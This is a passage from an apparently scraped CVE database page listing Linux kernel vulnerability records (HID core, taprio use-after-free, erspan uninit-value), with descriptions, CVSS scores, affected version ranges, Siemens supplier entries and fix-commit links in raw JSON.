                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: remove unnecessary WARN_ON() in implement()\n\nSyzkaller hit a warning [1] in a call to implement() when trying\nto write a value into a field of smaller size in an output report.\n\nSince implement() already has a warn message printed out with the\nhelp of hid_warn() and value in question gets trimmed with:\n\t...\n\tvalue \u0026= m;\n\t...\nWARN_ON may be considered superfluous. Remove it to suppress future\nsyzkaller triggers.\n\n[1]\nWARNING: CPU: 0 PID: 5084 at drivers/hid/hid-core.c:1451 implement drivers/hid/hid-core.c:1451 [inline]\nWARNING: CPU: 0 PID: 5084 at drivers/hid/hid-core.c:1451 hid_output_report+0x548/0x760 drivers/hid/hid-core.c:1863\nModules linked in:\nCPU: 0 PID: 5084 Comm: syz-executor424 Not tainted 6.9.0-rc7-syzkaller-00183-gcf87f46fd34d #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\nRIP: 0010:implement drivers/hid/hid-core.c:1451 [inline]\nRIP: 0010:hid_output_report+0x548/0x760 drivers/hid/hid-core.c:1863\n...\nCall Trace:\n \u003cTASK\u003e\n __usbhid_submit_report drivers/hid/usbhid/hid-core.c:591 [inline]\n usbhid_submit_report+0x43d/0x9e0 drivers/hid/usbhid/hid-core.c:636\n hiddev_ioctl+0x138b/0x1f00 drivers/hid/usbhid/hiddev.c:726\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:904 [inline]\n __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:890\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n..."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:21:55.347Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/955b3764671f3f157215194972d9c01a3a4bd316"
        },
        {
          "url": "https://git.kernel.org/stable/c/f9db5fbeffb951cac3f0fb1c2eeffb79785399ca"
        },
        {
          "url": "https://git.kernel.org/stable/c/33f6832798dd3297317901cc1db556ac3ae80c24"
        },
        {
          "url": "https://git.kernel.org/stable/c/8bac61934cd563b073cd30b8cf6d5c758ab5ab26"
        },
        {
          "url": "https://git.kernel.org/stable/c/bfd546fc7fd76076f81bf41b85b51ceda30949fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/30f76bc468b9b2cbbd5d3eb482661e3e4798893f"
        },
        {
          "url": "https://git.kernel.org/stable/c/655c6de2f215b61d0708db6b06305eee9bbfeba2"
        },
        {
          "url": "https://git.kernel.org/stable/c/4aa2dcfbad538adf7becd0034a3754e1bd01b2b5"
        }
      ],
      "title": "HID: core: remove unnecessary WARN_ON() in implement()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-39509",
    "datePublished": "2024-07-12T12:20:40.257Z",
    "dateReserved": "2024-06-25T14:23:23.753Z",
    "dateUpdated": "2026-05-12T11:55:37.708Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50127 (GCVE-0-2024-50127)

Vulnerability from cvelistv5 – Published: 2024-11-05 17:10 – Updated: 2026-05-12 12:00

Title

net: sched: fix use-after-free in taprio_change()

Summary

In the Linux kernel, the following vulnerability has been resolved: net: sched: fix use-after-free in taprio_change() In 'taprio_change()', 'admin' pointer may become dangling due to sched switch / removal caused by 'advance_sched()', and critical section protected by 'q->current_entry_lock' is too small to prevent from such a scenario (which causes use-after-free detected by KASAN). Fix this by prefer 'rcu_replace_pointer()' over 'rcu_assign_pointer()' to update 'admin' immediately before an attempt to schedule freeing.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/2f868ce6013548a71…
https://git.kernel.org/stable/c/8a283a19026aaae8a…
https://git.kernel.org/stable/c/999612996df28d81f…
https://git.kernel.org/stable/c/fe371f084073e8672…
https://git.kernel.org/stable/c/0d4c0d2844e4eac3a…
https://git.kernel.org/stable/c/2240f9376f20f8b64…
https://git.kernel.org/stable/c/f504465970aebb246…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < 2f868ce6013548a713c431c679ef73747a66fcf3 (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < 8a283a19026aaae8a773fd8061263cfa315b127f (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < 999612996df28d81f163dad530d7f8026e03aec6 (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < fe371f084073e8672a2d7d46b335c3c060d1e301 (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < 0d4c0d2844e4eac3aed647f948fd7e60eea56a61 (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < 2240f9376f20f8b6463232b4ca7292569217237f (git) Affected: a3d43c0d56f1b94e74963a2fbadfb70126d92213 , < f504465970aebb2467da548f7c1efbbf36d0f44b (git)
Linux	Linux	Affected: 5.2 Unaffected: 0 , < 5.2 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50127",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-12-11T14:28:21.328657Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-12-11T14:58:33.392Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:25:48.715Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:16.499Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_taprio.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2f868ce6013548a713c431c679ef73747a66fcf3",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "8a283a19026aaae8a773fd8061263cfa315b127f",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "999612996df28d81f163dad530d7f8026e03aec6",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "fe371f084073e8672a2d7d46b335c3c060d1e301",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "0d4c0d2844e4eac3aed647f948fd7e60eea56a61",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "2240f9376f20f8b6463232b4ca7292569217237f",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            },
            {
              "lessThan": "f504465970aebb2467da548f7c1efbbf36d0f44b",
              "status": "affected",
              "version": "a3d43c0d56f1b94e74963a2fbadfb70126d92213",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_taprio.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.2"
            },
            {
              "lessThan": "5.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: fix use-after-free in taprio_change()\n\nIn \u0027taprio_change()\u0027, \u0027admin\u0027 pointer may become dangling due to sched\nswitch / removal caused by \u0027advance_sched()\u0027, and critical section\nprotected by \u0027q-\u003ecurrent_entry_lock\u0027 is too small to prevent from such\na scenario (which causes use-after-free detected by KASAN). Fix this\nby prefer \u0027rcu_replace_pointer()\u0027 over \u0027rcu_assign_pointer()\u0027 to update\n\u0027admin\u0027 immediately before an attempt to schedule freeing."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:45:57.089Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2f868ce6013548a713c431c679ef73747a66fcf3"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a283a19026aaae8a773fd8061263cfa315b127f"
        },
        {
          "url": "https://git.kernel.org/stable/c/999612996df28d81f163dad530d7f8026e03aec6"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe371f084073e8672a2d7d46b335c3c060d1e301"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d4c0d2844e4eac3aed647f948fd7e60eea56a61"
        },
        {
          "url": "https://git.kernel.org/stable/c/2240f9376f20f8b6463232b4ca7292569217237f"
        },
        {
          "url": "https://git.kernel.org/stable/c/f504465970aebb2467da548f7c1efbbf36d0f44b"
        }
      ],
      "title": "net: sched: fix use-after-free in taprio_change()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50127",
    "datePublished": "2024-11-05T17:10:54.385Z",
    "dateReserved": "2024-10-21T19:36:19.954Z",
    "dateUpdated": "2026-05-12T12:00:16.499Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35888 (GCVE-0-2024-35888)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

erspan: make sure erspan_base_hdr is present in skb->head

Summary

In the Linux kernel, the following vulnerability has been resolved: erspan: make sure erspan_base_hdr is present in skb->head syzbot reported a problem in ip6erspan_rcv() [1] Issue is that ip6erspan_rcv() (and erspan_rcv()) no longer make sure erspan_base_hdr is present in skb linear part (skb->head) before getting @ver field from it. Add the missing pskb_may_pull() calls. v2: Reload iph pointer in erspan_rcv() after pskb_may_pull() because skb->head might have changed. [1] BUG: KMSAN: uninit-value in pskb_may_pull_reason include/linux/skbuff.h:2742 [inline] BUG: KMSAN: uninit-value in pskb_may_pull include/linux/skbuff.h:2756 [inline] BUG: KMSAN: uninit-value in ip6erspan_rcv net/ipv6/ip6_gre.c:541 [inline] BUG: KMSAN: uninit-value in gre_rcv+0x11f8/0x1930 net/ipv6/ip6_gre.c:610 pskb_may_pull_reason include/linux/skbuff.h:2742 [inline] pskb_may_pull include/linux/skbuff.h:2756 [inline] ip6erspan_rcv net/ipv6/ip6_gre.c:541 [inline] gre_rcv+0x11f8/0x1930 net/ipv6/ip6_gre.c:610 ip6_protocol_deliver_rcu+0x1d4c/0x2ca0 net/ipv6/ip6_input.c:438 ip6_input_finish net/ipv6/ip6_input.c:483 [inline] NF_HOOK include/linux/netfilter.h:314 [inline] ip6_input+0x15d/0x430 net/ipv6/ip6_input.c:492 ip6_mc_input+0xa7e/0xc80 net/ipv6/ip6_input.c:586 dst_input include/net/dst.h:460 [inline] ip6_rcv_finish+0x955/0x970 net/ipv6/ip6_input.c:79 NF_HOOK include/linux/netfilter.h:314 [inline] ipv6_rcv+0xde/0x390 net/ipv6/ip6_input.c:310 __netif_receive_skb_one_core net/core/dev.c:5538 [inline] __netif_receive_skb+0x1da/0xa00 net/core/dev.c:5652 netif_receive_skb_internal net/core/dev.c:5738 [inline] netif_receive_skb+0x58/0x660 net/core/dev.c:5798 tun_rx_batched+0x3ee/0x980 drivers/net/tun.c:1549 tun_get_user+0x5566/0x69e0 drivers/net/tun.c:2002 tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2048 call_write_iter include/linux/fs.h:2108 [inline] new_sync_write fs/read_write.c:497 [inline] vfs_write+0xb63/0x1520 fs/read_write.c:590 ksys_write+0x20f/0x4c0 fs/read_write.c:643 __do_sys_write fs/read_write.c:655 [inline] __se_sys_write fs/read_write.c:652 [inline] __x64_sys_write+0x93/0xe0 fs/read_write.c:652 do_syscall_64+0xd5/0x1f0 entry_SYSCALL_64_after_hwframe+0x6d/0x75 Uninit was created at: slab_post_alloc_hook mm/slub.c:3804 [inline] slab_alloc_node mm/slub.c:3845 [inline] kmem_cache_alloc_node+0x613/0xc50 mm/slub.c:3888 kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:577 __alloc_skb+0x35b/0x7a0 net/core/skbuff.c:668 alloc_skb include/linux/skbuff.h:1318 [inline] alloc_skb_with_frags+0xc8/0xbf0 net/core/skbuff.c:6504 sock_alloc_send_pskb+0xa81/0xbf0 net/core/sock.c:2795 tun_alloc_skb drivers/net/tun.c:1525 [inline] tun_get_user+0x209a/0x69e0 drivers/net/tun.c:1846 tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2048 call_write_iter include/linux/fs.h:2108 [inline] new_sync_write fs/read_write.c:497 [inline] vfs_write+0xb63/0x1520 fs/read_write.c:590 ksys_write+0x20f/0x4c0 fs/read_write.c:643 __do_sys_write fs/read_write.c:655 [inline] __se_sys_write fs/read_write.c:652 [inline] __x64_sys_write+0x93/0xe0 fs/read_write.c:652 do_syscall_64+0xd5/0x1f0 entry_SYSCALL_64_after_hwframe+0x6d/0x75 CPU: 1 PID: 5045 Comm: syz-executor114 Not tainted 6.9.0-rc1-syzkaller-00021-g962490525cff #0

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/06a939f72a24a7d82…
https://git.kernel.org/stable/c/e54a0c79cdc254872…
https://git.kernel.org/stable/c/b14b9f9503ec823ca…
https://git.kernel.org/stable/c/ee0088101beee10fa…
https://git.kernel.org/stable/c/1db7fcb2b290c47c2…
https://git.kernel.org/stable/c/4e3fdeecec5707678…
https://git.kernel.org/stable/c/0ac328a5a4138a6c0…
https://git.kernel.org/stable/c/17af420545a750f76…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0a198e0bb8bef51ced179702ad1af6f9e3715b64 , < 06a939f72a24a7d8251f84cf4c042df86c6666ac (git) Affected: cb73ee40b1b381eaf3749e6dbeed567bb38e5258 , < e54a0c79cdc2548729dd7e2e468b08c5af4d0df5 (git) Affected: cb73ee40b1b381eaf3749e6dbeed567bb38e5258 , < b14b9f9503ec823ca75be766dcaeff4f0bfeca85 (git) Affected: cb73ee40b1b381eaf3749e6dbeed567bb38e5258 , < ee0088101beee10fa809716d6245d915b09c37c7 (git) Affected: cb73ee40b1b381eaf3749e6dbeed567bb38e5258 , < 1db7fcb2b290c47c202b79528824f119fa28937d (git) Affected: cb73ee40b1b381eaf3749e6dbeed567bb38e5258 , < 4e3fdeecec5707678b0d1f18c259dadb97262e9d (git) Affected: cb73ee40b1b381eaf3749e6dbeed567bb38e5258 , < 0ac328a5a4138a6c03dfc3f46017bd5c19167446 (git) Affected: cb73ee40b1b381eaf3749e6dbeed567bb38e5258 , < 17af420545a750f763025149fa7b833a4fc8b8f0 (git) Affected: 5195acd38ae48b7b5c186f522cd4351441297859 (git)
Linux	Linux	Affected: 5.0 Unaffected: 0 , < 5.0 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35888",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-07T19:58:41.579179Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-07T19:58:44.817Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.504Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/06a939f72a24a7d8251f84cf4c042df86c6666ac"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e54a0c79cdc2548729dd7e2e468b08c5af4d0df5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b14b9f9503ec823ca75be766dcaeff4f0bfeca85"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ee0088101beee10fa809716d6245d915b09c37c7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1db7fcb2b290c47c202b79528824f119fa28937d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4e3fdeecec5707678b0d1f18c259dadb97262e9d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0ac328a5a4138a6c03dfc3f46017bd5c19167446"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/17af420545a750f763025149fa7b833a4fc8b8f0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:27.203Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/ip_gre.c",
            "net/ipv6/ip6_gre.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "06a939f72a24a7d8251f84cf4c042df86c6666ac",
              "status": "affected",
              "version": "0a198e0bb8bef51ced179702ad1af6f9e3715b64",
              "versionType": "git"
            },
            {
              "lessThan": "e54a0c79cdc2548729dd7e2e468b08c5af4d0df5",
              "status": "affected",
              "version": "cb73ee40b1b381eaf3749e6dbeed567bb38e5258",
              "versionType": "git"
            },
            {
              "lessThan": "b14b9f9503ec823ca75be766dcaeff4f0bfeca85",
              "status": "affected",
              "version": "cb73ee40b1b381eaf3749e6dbeed567bb38e5258",
              "versionType": "git"
            },
            {
              "lessThan": "ee0088101beee10fa809716d6245d915b09c37c7",
              "status": "affected",
              "version": "cb73ee40b1b381eaf3749e6dbeed567bb38e5258",
              "versionType": "git"
            },
            {
              "lessThan": "1db7fcb2b290c47c202b79528824f119fa28937d",
              "status": "affected",
              "version": "cb73ee40b1b381eaf3749e6dbeed567bb38e5258",
              "versionType": "git"
            },
            {
              "lessThan": "4e3fdeecec5707678b0d1f18c259dadb97262e9d",
              "status": "affected",
              "version": "cb73ee40b1b381eaf3749e6dbeed567bb38e5258",
              "versionType": "git"
            },
            {
              "lessThan": "0ac328a5a4138a6c03dfc3f46017bd5c19167446",
              "status": "affected",
              "version": "cb73ee40b1b381eaf3749e6dbeed567bb38e5258",
              "versionType": "git"
            },
            {
              "lessThan": "17af420545a750f763025149fa7b833a4fc8b8f0",
              "status": "affected",
              "version": "cb73ee40b1b381eaf3749e6dbeed567bb38e5258",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "5195acd38ae48b7b5c186f522cd4351441297859",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/ip_gre.c",
            "net/ipv6/ip6_gre.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.0"
            },
            {
              "lessThan": "5.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
